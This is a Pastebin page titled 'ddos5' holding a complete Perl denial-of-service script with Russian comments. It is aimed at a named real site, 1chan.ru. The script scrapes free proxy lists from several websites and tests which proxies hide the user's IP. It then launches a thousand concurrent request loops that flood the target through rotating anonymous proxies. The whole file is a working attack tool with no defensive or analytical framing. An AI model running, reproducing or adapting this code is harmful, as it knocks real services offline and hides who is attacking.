Guest User

ddos5

a guest
Mar 26th, 2012
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 12.90 KB | None | 0 0
  1. #!/usr/local/bin/perl
  2.  
  3.     use strict;
  4.     use LWP::UserAgent;
  5.     use Coro;
  6.     use Coro::LWP;
  7.     use Coro::EV;
  8.     use EV;
  9.     use Time::Local;
  10.    
  11.     my $target = "http://1chan.ru/news/all/";                   #   цель
  12.     my $proxycheck = "http://2ip.ru/";                          #   сайт, выводящий ip запросившего
  13.     my $threads = 1000;                                         #   количество потоков
  14.     my $proxycheckers = 1000;                                   #   количество прокси-чекеров
  15.     my $check = 1;                                              #   0 - без проверки;    1 - онлайн-проверка;  2 - предпроверка;
  16.     my $useproxy = 3;                                           #   1 - использовать проксифайл;  2 - брать с сайтов;     3 = 1 + 2;
  17.     my $anon = 1;                                               #   0 - использовать все прокси;   1 - использовать только анонимные прокси;
  18.     my $timeout = 10;                                           #   таймаут запросов
  19.     my $timeoutproxy = 5;                                       #   таймаут проверки прокси
  20.     my $update = 3;                                             #   обновлять прокси каждые n минут
  21.     my $wait = 30;                                              #   задержка между использованиями одного прокси
  22.    
  23.     my $myip = get_my_ip ();
  24.    
  25.     my %rawproxylist;
  26.     my %valproxylist;
  27.     my %deadproxylist;
  28.     my %noanonproxylist;
  29.     my %badproxylist;
  30.    
  31.     my $free;
  32.     my $i;
  33.    
  34.     my $getthem = 1;
  35.    
  36.     my $updatetime;
  37.    
  38.     if ($check == 0){ $anon = 0 };
  39.  
  40.    
  41.     ################################################################
  42.    
  43.    
  44.     sub get_content {
  45.         my ($link, $proxy, $timeout) = @_;
  46.        
  47.         my $ua = LWP::UserAgent -> new;
  48.         $ua -> agent ('Mozilla/5.0');
  49.         if ($proxy){
  50.             $ua -> proxy (['http', 'https'], "http://$proxy/");
  51.         }
  52.         if ($timeout){
  53.             $ua -> timeout ($timeout);
  54.         }
  55.        
  56.         my $req = HTTP::Request -> new (GET => "$link");
  57.         my $res = $ua -> request($req);
  58.         my $status = $res -> status_line;
  59.         my $content = $res -> decoded_content;
  60.        
  61.         return $content, $status;
  62.     }
  63.    
  64.    
  65.     sub get_my_ip {
  66.         my $mip;
  67.        
  68.         my $ua = LWP::UserAgent -> new;
  69.         $ua -> agent ('Mozilla/5.0');
  70.         if ($timeout){
  71.             $ua -> timeout ($timeout);
  72.         }
  73.        
  74.         my $req = HTTP::Request -> new (GET => "$proxycheck");
  75.         my $res = $ua -> request($req);
  76.         my $content = $res -> decoded_content;
  77.        
  78.         unless (($mip) = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g){
  79.             die;
  80.         }
  81.        
  82.         return $mip;   
  83.     }
  84.    
  85.    
  86.     sub check_proxy {
  87.         my ($myip, $proxy) = @_;
  88.                
  89.         my $ua = LWP::UserAgent -> new;
  90.         $ua -> agent ('Mozilla/5.0');
  91.         $ua -> proxy (['http', 'https'], "http://$proxy/");
  92.         $ua -> timeout ($timeoutproxy);
  93.        
  94.         my $req = HTTP::Request -> new (GET => "$proxycheck");
  95.         my $res = $ua -> request($req);
  96.         my $status = $res -> status_line;
  97.         my $content = $res -> decoded_content;
  98.        
  99.         if ($content and $status =~ /200/){
  100.             my ($answ) = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g;  
  101.             my ($pip) = $proxy =~ /(.*):/g;
  102.            
  103.             if ($answ == $myip){
  104. #               print "Level 1\n";
  105.                 return 1;
  106.             }
  107.             elsif ($answ == $pip){
  108. #               print "Level 2\n";
  109.                 return 2;
  110.             }
  111.             else {
  112. #               print "Level 3\n";
  113.                 return 3;
  114.             }  
  115.         } else {
  116. #           print "Level 0\n";
  117.             return 0;
  118.         }
  119.     }
  120.    
  121.    
  122.     sub double_kill {
  123.         my @mas = @_;
  124.        
  125.         local $_;
  126.        
  127.         my %tmp;                   
  128.         $tmp{$_} = $_ for @mas;
  129.         my @mas = values %tmp;
  130.         undef %tmp;
  131.        
  132.         return @mas;
  133.     }
  134.  
  135.  
  136.     sub get_proxy_file {
  137.         open(PROXYFILE, 'proxy.txt') or die "$!\n";    
  138.         my @proxyfile = <PROXYFILE>;
  139.         close PROXYFILE;
  140.            
  141.         @proxyfile = double_kill (@proxyfile);
  142.        
  143.         foreach my $tmp (@proxyfile){
  144.             chomp $tmp;
  145.             $rawproxylist{$tmp} = 0;
  146.         }
  147.        
  148.         return @proxyfile;
  149.     }
  150.    
  151.    
  152.     sub get_proxy_site {
  153.    
  154.         # proxyforest.com #
  155.         # http://www.proxyforest.com/proxy.htm?pages=1
  156.         # proxy(3,'251','14','190','128',3128);
  157.                
  158.         async {
  159.             local $_;
  160.             while (1){
  161.                 if ($getthem){
  162.                     for (0..18){
  163.                         my $mlink = "http://www.proxyforest.com/proxy.htm?pages=$_";
  164.                        
  165.                         my $ua = LWP::UserAgent -> new;
  166.                         $ua -> agent ('Mozilla/5.0');
  167.                        
  168.                         my $req = HTTP::Request -> new (GET => "$mlink");
  169.                         my $res = $ua -> request($req);
  170.                         my $content = $res -> decoded_content;
  171.                            
  172.                         my @proxypage;
  173.                        
  174.                         if ($content){
  175.                             @proxypage = $content =~ /('\d+','\d+','\d+','\d+',\d+)/g;
  176.                             foreach (@proxypage){
  177.                                 $_ =~ s/'(\d+)','(\d+)','(\d+)','(\d+)',(\d+)/$1\.$2\.$3\.$4\:$5/;
  178.                             }
  179.                             if (@proxypage){
  180.                                 foreach (@proxypage){
  181.                                     $rawproxylist{$_} = 0;
  182.                                 }
  183.                             }
  184.                         }
  185.                     }
  186.                 }
  187.                 EV::sleep (10);
  188.             }
  189.         };
  190.    
  191.        
  192.         # www.cybersyndrome.net
  193.         # http://www.cybersyndrome.net/pla5.html
  194.         # <a title="PL" onMouseOver="s('PL')" onMouseOut="d()" class="C">85.14.108.242:8080</a>
  195.        
  196.         async {
  197.             local $_;
  198.             while (1){
  199.                 if ($getthem){
  200.                     my $mlink = "http://www.cybersyndrome.net/pla5.html";
  201.                    
  202.                     my $ua = LWP::UserAgent -> new;
  203.                     $ua -> agent ('Mozilla/5.0');
  204.                        
  205.                     my $req = HTTP::Request -> new (GET => "$mlink");
  206.                     my $res = $ua -> request($req);
  207.                     my $content = $res -> decoded_content;
  208.                    
  209.                     my @proxypage;
  210.                    
  211.                     if ($content){
  212.                         @proxypage = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+)/g;
  213.                         if (@proxypage){
  214.                             foreach (@proxypage){
  215.                                 $rawproxylist{$_} = 0;
  216.                             }          
  217.                         }
  218.                     }
  219.                 }
  220.                 EV::sleep (10);
  221.             }
  222.         };
  223.        
  224.        
  225.         # proxies.my-proxy.com
  226.         # http://proxies.my-proxy.com/proxy-list-1.html
  227.         # <br>200.161.99.185:3128
  228.        
  229.         async {
  230.             local $_;
  231.             while (1){
  232.                 if ($getthem){
  233.                     for (1..10){
  234.                         my $mlink = "http://proxies.my-proxy.com/proxy-list-$_.html";
  235.                        
  236.                         my $ua = LWP::UserAgent -> new;
  237.                         $ua -> agent ('Mozilla/5.0');
  238.                            
  239.                         my $req = HTTP::Request -> new (GET => "$mlink");
  240.                         my $res = $ua -> request($req);
  241.                         my $content = $res -> decoded_content;
  242.                        
  243.                         my @proxypage;
  244.                        
  245.                         if ($content){
  246.                             @proxypage = $content =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g;
  247.                             if (@proxypage){
  248.                                 foreach (@proxypage){
  249.                                     $rawproxylist{$_} = 0;
  250.                                 }          
  251.                             }
  252.                         }
  253.                     }
  254.                 }
  255.                 EV::sleep (10);
  256.             }
  257.         };
  258.        
  259.         # anonymousinet.com
  260.         # http://anonymousinet.com/index.php
  261.         # http://anonymousinet.com/free-proxies-3.php
  262.        
  263.         async {
  264.             local $_;
  265.             while (1){
  266.                 if ($getthem){
  267.                     my $mlink = "http://anonymousinet.com/index.php";
  268.                    
  269.                     my $ua = LWP::UserAgent -> new;
  270.                     $ua -> agent ('Mozilla/5.0');
  271.                    
  272.                     my $req = HTTP::Request -> new (GET => "$mlink");
  273.                     my $res = $ua -> request($req);
  274.                     my $content = $res -> decoded_content;
  275.                    
  276.                     my @proxypage;
  277.                    
  278.                     if ($content){
  279.                         @proxypage = $content =~ /('\d+','\d+','\d+','\d+',\d+)/g;
  280.                         foreach (@proxypage){
  281.                             $_ =~ s/'(\d+)','(\d+)','(\d+)','(\d+)',(\d+)/$1\.$2\.$3\.$4\:$5/;
  282.                         }
  283.                         if (@proxypage){
  284.                             foreach (@proxypage){
  285.                                 $rawproxylist{$_} = 0;
  286.                             }
  287.                         }
  288.                     }
  289.                    
  290.                     for (2..3){
  291.                         my $mlink = "http://anonymousinet.com/free-proxies-$_.php";
  292.                        
  293.                         my $ua = LWP::UserAgent -> new;
  294.                         $ua -> agent ('Mozilla/5.0');
  295.                        
  296.                         my $req = HTTP::Request -> new (GET => "$mlink");
  297.                         my $res = $ua -> request($req);
  298.                         my $content = $res -> decoded_content;
  299.                        
  300.                         my @proxypage;
  301.                        
  302.                         if ($content){
  303.                             @proxypage = $content =~ /('\d+','\d+','\d+','\d+',\d+)/g;
  304.                             foreach (@proxypage){
  305.                                 $_ =~ s/'(\d+)','(\d+)','(\d+)','(\d+)',(\d+)/$1\.$2\.$3\.$4\:$5/;
  306.                             }
  307.                             if (@proxypage){
  308.                                 foreach (@proxypage){
  309.                                     $rawproxylist{$_} = 0;
  310.                                 }
  311.                             }
  312.                         }
  313.                     }
  314.                 }
  315.                 EV::sleep (10);
  316.             }
  317.         };
  318.     }
  319.    
  320.    
  321.     sub proxy_checker {
  322.         async {
  323.             for (1..$proxycheckers){
  324.                 async {
  325.                     while (1){
  326.                         if (keys %rawproxylist > 1){
  327.                             $free = 0; 
  328.                            
  329.                             my $ind = int ( rand (keys %rawproxylist));
  330.                             my $proxy = (keys %rawproxylist)[$ind];
  331.                            
  332.                             delete $rawproxylist{$proxy};
  333.                            
  334.                             my $trial = check_proxy ($myip, $proxy);
  335.                            
  336.                             if ($trial == 0){
  337.                                 $deadproxylist{$proxy} = 0;
  338.                             } elsif ($trial == 1){
  339.                                 $noanonproxylist{$proxy} = 0;
  340.                             } else {
  341.                                 $valproxylist{$proxy} = 0;
  342.                             }
  343.                         } else {
  344.                             $free = 1;
  345.                             EV::sleep (5);
  346.                         }
  347.                     }
  348.                 };
  349.             }
  350.         };
  351.     }
  352.            
  353.    
  354.     sub ddos {
  355.         async {
  356.             for (1..$threads){
  357.                 async {
  358.                     while (1){
  359.                         my %activeproxylist;
  360.                        
  361.                         if ($anon){
  362.                             %activeproxylist = %valproxylist;
  363.                         } elsif ($check){
  364.                             %activeproxylist = (%valproxylist, %noanonproxylist);
  365.                         } else {
  366.                             %activeproxylist = %rawproxylist;
  367.                         }
  368.                        
  369.                         if ($useproxy and (keys %activeproxylist > 20)){
  370.                             my $proxy;
  371.                             my $content;
  372.                             my $status;
  373.                            
  374.                             do {
  375.                                 my $ind = int ( rand (keys %activeproxylist));
  376.                                 $proxy = (keys %activeproxylist)[$ind];
  377.                             } while (timelocal(localtime()) - $activeproxylist{$proxy} <= $wait);
  378.                                
  379.                             if ($anon){
  380.                                 delete $valproxylist{$proxy};
  381.                             } elsif ($check){
  382.                                 delete $valproxylist{$proxy};
  383.                                 delete $noanonproxylist{$proxy};
  384.                             } else {
  385.                                 delete $rawproxylist{$proxy};
  386.                             }
  387.                            
  388.                             if ($proxy){
  389.                                 my $ua = LWP::UserAgent -> new;
  390.                                
  391.                                 $ua -> agent ('Mozilla/5.0');
  392. #                               $ua -> max_size (1);
  393.                                 $ua -> proxy (['http', 'https'], "http://$proxy/");
  394.                                 $ua -> timeout ($timeout);
  395.                                
  396.                                 my $req = HTTP::Request -> new (GET => "$target");
  397.                                 my $res = $ua -> request ($req);
  398.                                 $status = $res -> status_line;
  399.                                
  400.                                 ($status) = $status =~ /\d+/g;
  401.                                
  402.                                 if ($status =~ /(?:2..)|(?:3..)|(?:400)|(?:502)|(?:503)|(?:504)/){
  403.                                     if ($anon){
  404.                                         if ($check){
  405.                                             $valproxylist{$proxy} = timelocal (localtime());
  406.                                         } else {
  407.                                             $rawproxylist{$proxy} = timelocal (localtime());
  408.                                         }
  409.                                     } elsif ($check){
  410.                                             $valproxylist{$proxy} = timelocal (localtime());
  411.                                     } else {
  412.                                         $rawproxylist{$proxy} = timelocal (localtime());
  413.                                     }
  414.                                 } elsif ($status =~ /(?:403)|(?:404)|(?:500)/){
  415.                                     $badproxylist{$proxy} = timelocal (localtime());
  416. #                               } elsif ($check){
  417. #                                   $rawproxylist{$proxy} = timelocal (localtime());
  418.                                 } else {
  419.                                     $deadproxylist{$proxy} = timelocal (localtime());
  420.                                 }
  421.                                
  422.                                 $i++;
  423.                                 my $val = keys %valproxylist;
  424.                                 my $noanon = keys %noanonproxylist;
  425.                                 my $dead = keys %deadproxylist;
  426.                                 my $raw = keys %rawproxylist;
  427.                                 my $bad = keys %badproxylist;
  428.                                 my $updt = timelocal (localtime()) - $updatetime;
  429.                                
  430.                                 printf ("%-5d %-30s %-4s %6d %5d %3d %5d %5d %4d\n",
  431.                                     $i,
  432.                                     $proxy,
  433.                                     $status,
  434.                                     $raw,
  435.                                     $val,
  436.                                     $noanon,
  437.                                     $dead,
  438.                                     $bad,
  439.                                     $updt
  440.                                 );
  441.                             }
  442.                         } else {
  443.                             EV::sleep (10);
  444.                         }
  445.                     }
  446.                 };
  447.             }
  448.         };
  449.     }
  450.  
  451.     ################################################################
  452.  
  453.    
  454.     async {
  455.         if ($useproxy){
  456.             if ($check){
  457.                 if      ($useproxy == 1){ get_proxy_file; }
  458.                 elsif   ($useproxy == 2){ get_proxy_site; }
  459.                 elsif   ($useproxy == 3){ get_proxy_file; get_proxy_site; }
  460.                 proxy_checker;
  461.             } else {
  462.                 if      ($useproxy == 1){ get_proxy_file; }
  463.                 elsif   ($useproxy == 2){ get_proxy_site; }
  464.                 elsif   ($useproxy == 3){ get_proxy_file; get_proxy_site; }
  465.             }
  466.         }
  467.     };
  468.        
  469.     async {
  470.         $updatetime = timelocal (localtime());
  471.        
  472.         if ($check != 2){
  473.             for (my $i = 10; $i > 0; $i--){
  474.                 my $val = keys %valproxylist;
  475.                 my $noanon = keys %noanonproxylist;
  476.                 my $dead = keys %deadproxylist;
  477.                 my $raw = keys %rawproxylist;
  478.                 my $bad = keys %badproxylist;
  479.                 my $updt = timelocal (localtime()) - $updatetime;
  480.                
  481.                 printf ("%35d %6d %3d %5d %5d %5d %5d\n",
  482.                     $i,
  483.                     $raw,
  484.                     $val,
  485.                     $noanon,
  486.                     $dead,
  487.                     $bad,
  488.                     $updt
  489.                 ); 
  490.                 EV::sleep (1);
  491.             }
  492.             print "\n                            ZAPOOSK!!!11\n\n";
  493.         } else {
  494.             do {
  495.                 while (!($free) and $check){
  496.                     my $val = keys %valproxylist;
  497.                     my $noanon = keys %noanonproxylist;
  498.                     my $dead = keys %deadproxylist;
  499.                     my $raw = keys %rawproxylist;
  500.                     my $bad = keys %badproxylist;
  501.                     my $updt = timelocal (localtime()) - $updatetime;
  502.                    
  503.                     printf ("%41d %6d %3d %5d %5d %5d\n",
  504.                         $raw,
  505.                         $val,
  506.                         $noanon,
  507.                         $dead,
  508.                         $bad,
  509.                         $updt
  510.                     ); 
  511.                     EV::sleep (1);
  512.                 }
  513.                 EV::sleep (5);
  514.             } while (!($free) and $check);
  515.             print "\n                            ZAPOOSK!!!11\n\n";
  516.         }
  517.        
  518.         $getthem = 0;
  519.        
  520.         if ($check != 2){ ddos; }
  521.         else {
  522.             while (!($free and (keys %rawproxylist <= 1))){ EV::sleep (1); };
  523.             ddos;
  524.         }
  525.        
  526.         if ($useproxy){
  527.             while (1){
  528.                 EV::sleep  (60 * $update);
  529.                 $getthem = 1;
  530.                 $updatetime = timelocal (localtime());
  531.                 EV::sleep  (1);
  532.                 $getthem = 0;
  533.             }
  534.         }
  535.     };
  536.    
  537.     EV::run;
Advertisement
Add Comment
Please, Sign In to add comment